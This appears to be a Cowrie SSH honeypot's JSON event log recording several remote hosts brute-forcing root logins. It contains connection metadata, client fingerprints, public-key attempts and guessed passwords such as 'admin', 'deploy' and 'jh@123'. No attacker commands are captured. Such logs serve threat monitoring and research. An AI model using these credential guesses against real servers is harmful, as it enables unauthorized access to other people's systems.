{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:55:05.206295Z","src_ip":"81.192.46.49","session":"af22b95a3bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":43828,"dst_ip":"10.17.0.5","dst_port":22,"session":"d84e1b3bc226","protocol":"ssh","message":"New connection: 27.74.248.52:43828 (10.17.0.5:22) [session: d84e1b3bc226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:00.232922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:00.237958Z","src_ip":"27.74.248.52","session":"d84e1b3bc226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:00.707221Z","src_ip":"27.74.248.52","session":"d84e1b3bc226","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:02.193007Z","src_ip":"27.74.248.52","session":"d84e1b3bc226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":40958,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2b490c56bf","protocol":"ssh","message":"New connection: 66.113.163.125:40958 (159.203.135.109:22) [session: 0e2b490c56bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:02.226564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:02.258241Z","src_ip":"66.113.163.125","session":"0e2b490c56bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:02.309559Z","src_ip":"66.113.163.125","session":"0e2b490c56bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy","message":"login attempt [root/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:02.495970Z","src_ip":"66.113.163.125","session":"0e2b490c56bf","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:03.166294Z","src_ip":"27.74.248.52","session":"d84e1b3bc226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:03.542964Z","src_ip":"66.113.163.125","session":"0e2b490c56bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:03.631130Z","src_ip":"27.74.248.52","session":"d84e1b3bc226","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:04.399686Z","src_ip":"27.74.248.52","session":"d84e1b3bc226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:58:04.403863Z","src_ip":"27.74.248.52","session":"d84e1b3bc226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":39870,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4efdf84a326","protocol":"ssh","message":"New connection: 125.16.27.190:39870 (159.203.135.109:22) [session: a4efdf84a326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:01.189036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:01.194232Z","src_ip":"125.16.27.190","session":"a4efdf84a326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:01.497963Z","src_ip":"125.16.27.190","session":"a4efdf84a326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spargeosu#^%*&138cucapulinpicior","message":"login attempt [root/spargeosu#^%*&138cucapulinpicior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:02.666346Z","src_ip":"125.16.27.190","session":"a4efdf84a326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:03.922559Z","src_ip":"125.16.27.190","session":"a4efdf84a326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":41848,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ed47509895","protocol":"ssh","message":"New connection: 92.191.96.70:41848 (10.17.0.5:22) [session: e5ed47509895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:32.115403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:32.123282Z","src_ip":"92.191.96.70","session":"e5ed47509895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:32.248970Z","src_ip":"92.191.96.70","session":"e5ed47509895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jh@123","message":"login attempt [root/jh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:32.783115Z","src_ip":"92.191.96.70","session":"e5ed47509895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:33.913111Z","src_ip":"92.191.96.70","session":"e5ed47509895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.107","src_port":33394,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e78f2df81cd","protocol":"ssh","message":"New connection: 208.87.242.107:33394 (10.17.0.5:22) [session: 4e78f2df81cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.148197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.156864Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.227295Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:64:c7:21:7f:1e:70:20:39:a8:f6:4b:02:6a:bd:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC15F5lhxuVC2kr8s4JlOXohYI1xMnHdB3gzC3u1kqso5q8VH/6Kl2PBmSJi1KnYf+t2lon59jwoUJyUjRlz1xKGUpgX1JJv20Vt5EkhYzA68E7DGAZBI3ifdWUp+JvkeT0Nlw6Rj1DmODuxaOFdC4zIvSySJqfnzYJTE3dZo8jZJoa82GADlBEWk0XVYBTdHaK+wq0i5lCdyDcotqOAEg+iqLGZG/z1IefK9gVVQ06XZ/JLNbtig4s1QB1rq8+ozzCF5CGC9VQmR+r+vDF9azWET29Vc26KPl8Fj3/adPWFazkrEFZQ/RJ+XkDLQZ7z2uTNHo+R8S9shdh1n8CU9gX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:64:c7:21:7f:1e:70:20:39:a8:f6:4b:02:6a:bd:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.548027Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:64:c7:21:7f:1e:70:20:39:a8:f6:4b:02:6a:bd:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC15F5lhxuVC2kr8s4JlOXohYI1xMnHdB3gzC3u1kqso5q8VH/6Kl2PBmSJi1KnYf+t2lon59jwoUJyUjRlz1xKGUpgX1JJv20Vt5EkhYzA68E7DGAZBI3ifdWUp+JvkeT0Nlw6Rj1DmODuxaOFdC4zIvSySJqfnzYJTE3dZo8jZJoa82GADlBEWk0XVYBTdHaK+wq0i5lCdyDcotqOAEg+iqLGZG/z1IefK9gVVQ06XZ/JLNbtig4s1QB1rq8+ozzCF5CGC9VQmR+r+vDF9azWET29Vc26KPl8Fj3/adPWFazkrEFZQ/RJ+XkDLQZ7z2uTNHo+R8S9shdh1n8CU9gX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.552174Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:ba:8b:97:b4:a8:0f:81:31:59:22:ba:c6:7b:23:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn8+6S6cFMMAc7AvGrx/PwQMQ61NyRq004EemrrXmgTnxU0nVCQEyOW9+72m+Wig3QL7CnalTyYcz3OcIn6k1MmwXwtTP+7rXPU7QJWBeuhfTpB2ugGDjHwdgAAsaPiEiJiYJ5Wahw93U1yAtdmm6Zeg/GZGIx7Kw74r+GUfCa5T5ykO4cS1Z8OE8po5c3y6Eetrcllzke7s11l4EA0TvrzMqFZUqvm6Xqv74+TRwW6kCbxNjRZg+L1zEOg6NIgMWbi0DeblIBTlbLCwXHCOk7y10jol5HVSOzHk7srTBfK7THpq3zgVwYER+a2ZyOjHUn5cCloeGczXrQ5h7qBe7T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:ba:8b:97:b4:a8:0f:81:31:59:22:ba:c6:7b:23:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.624846Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:ba:8b:97:b4:a8:0f:81:31:59:22:ba:c6:7b:23:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn8+6S6cFMMAc7AvGrx/PwQMQ61NyRq004EemrrXmgTnxU0nVCQEyOW9+72m+Wig3QL7CnalTyYcz3OcIn6k1MmwXwtTP+7rXPU7QJWBeuhfTpB2ugGDjHwdgAAsaPiEiJiYJ5Wahw93U1yAtdmm6Zeg/GZGIx7Kw74r+GUfCa5T5ykO4cS1Z8OE8po5c3y6Eetrcllzke7s11l4EA0TvrzMqFZUqvm6Xqv74+TRwW6kCbxNjRZg+L1zEOg6NIgMWbi0DeblIBTlbLCwXHCOk7y10jol5HVSOzHk7srTBfK7THpq3zgVwYER+a2ZyOjHUn5cCloeGczXrQ5h7qBe7T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.628507Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:20:56:76:27:80:d8:9b:30:78:7c:9b:18:05:69:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfk1acM+LTN7dRZSjFLSuOhWtjp/qCg0HsUtre/HlEhBzfEEvptugFGz64hKegpurCRKG8uLeOZS2JqYQKp0GspI1kH0vrVcEDPQW9GMVQpNtT9IWuB4KR8RW+FTht2t/QYGLvg43yM33Gku0hah0aUFSyAnz52igN7elSw8h2rwZMrmW7ZHhuIRcdzV2MZ1U/4o9wSDudMC21KS9fbKcmdzlfV3A5+e6ZNIaPjfH+qxFO8Rn837GT1oP2DzGJUCRGRwvTr39jwG3Zf7KWipQmtKsdSCBHdtjeRQ2RmgQwAfDpftPK9M0tSdbRmBdfnZrg9ioCrRQr1pgO3hg/M6BN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:20:56:76:27:80:d8:9b:30:78:7c:9b:18:05:69:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.697491Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:20:56:76:27:80:d8:9b:30:78:7c:9b:18:05:69:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfk1acM+LTN7dRZSjFLSuOhWtjp/qCg0HsUtre/HlEhBzfEEvptugFGz64hKegpurCRKG8uLeOZS2JqYQKp0GspI1kH0vrVcEDPQW9GMVQpNtT9IWuB4KR8RW+FTht2t/QYGLvg43yM33Gku0hah0aUFSyAnz52igN7elSw8h2rwZMrmW7ZHhuIRcdzV2MZ1U/4o9wSDudMC21KS9fbKcmdzlfV3A5+e6ZNIaPjfH+qxFO8Rn837GT1oP2DzGJUCRGRwvTr39jwG3Zf7KWipQmtKsdSCBHdtjeRQ2RmgQwAfDpftPK9M0tSdbRmBdfnZrg9ioCrRQr1pgO3hg/M6BN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.701424Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:4c:1f:b2:3e:59:94:ad:bc:75:8e:93:fd:69:41:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEpzrKIKbWPxuemnjiWA8SDJdTbrEW8tpOdGUEb13VFwzJQ8DCvM1qBCQtjRbcqmJBYE7IWW9zO79BKFX5wJ2ONVivl80F9+jDU9OJcb8gENARTm8+/Qa0ncBiH3qrRoMLxh8FRqQ57PeM5upJ1z8+MfL2Y95LstUjLLeyJNxjSj3u9D9kJJ/fJZu/S8rbJsQUO3bY/pvqK1HU0qbyiL5KdvBj3zD4EruQnn/L8OLQiRXcg4CjLMK91hwbwfDZnHoVDmX23VpZuyUJZxrEKqECyZMtRb7nvD3rRRY45d9cOmwcwfmRaUe0o22tc04mqpixhFmeCT04bY2GgzA7fg/H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:4c:1f:b2:3e:59:94:ad:bc:75:8e:93:fd:69:41:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.770554Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:4c:1f:b2:3e:59:94:ad:bc:75:8e:93:fd:69:41:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEpzrKIKbWPxuemnjiWA8SDJdTbrEW8tpOdGUEb13VFwzJQ8DCvM1qBCQtjRbcqmJBYE7IWW9zO79BKFX5wJ2ONVivl80F9+jDU9OJcb8gENARTm8+/Qa0ncBiH3qrRoMLxh8FRqQ57PeM5upJ1z8+MfL2Y95LstUjLLeyJNxjSj3u9D9kJJ/fJZu/S8rbJsQUO3bY/pvqK1HU0qbyiL5KdvBj3zD4EruQnn/L8OLQiRXcg4CjLMK91hwbwfDZnHoVDmX23VpZuyUJZxrEKqECyZMtRb7nvD3rRRY45d9cOmwcwfmRaUe0o22tc04mqpixhFmeCT04bY2GgzA7fg/H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:00:55.774310Z","src_ip":"208.87.242.107","session":"4e78f2df81cd","protocol":"ssh"}
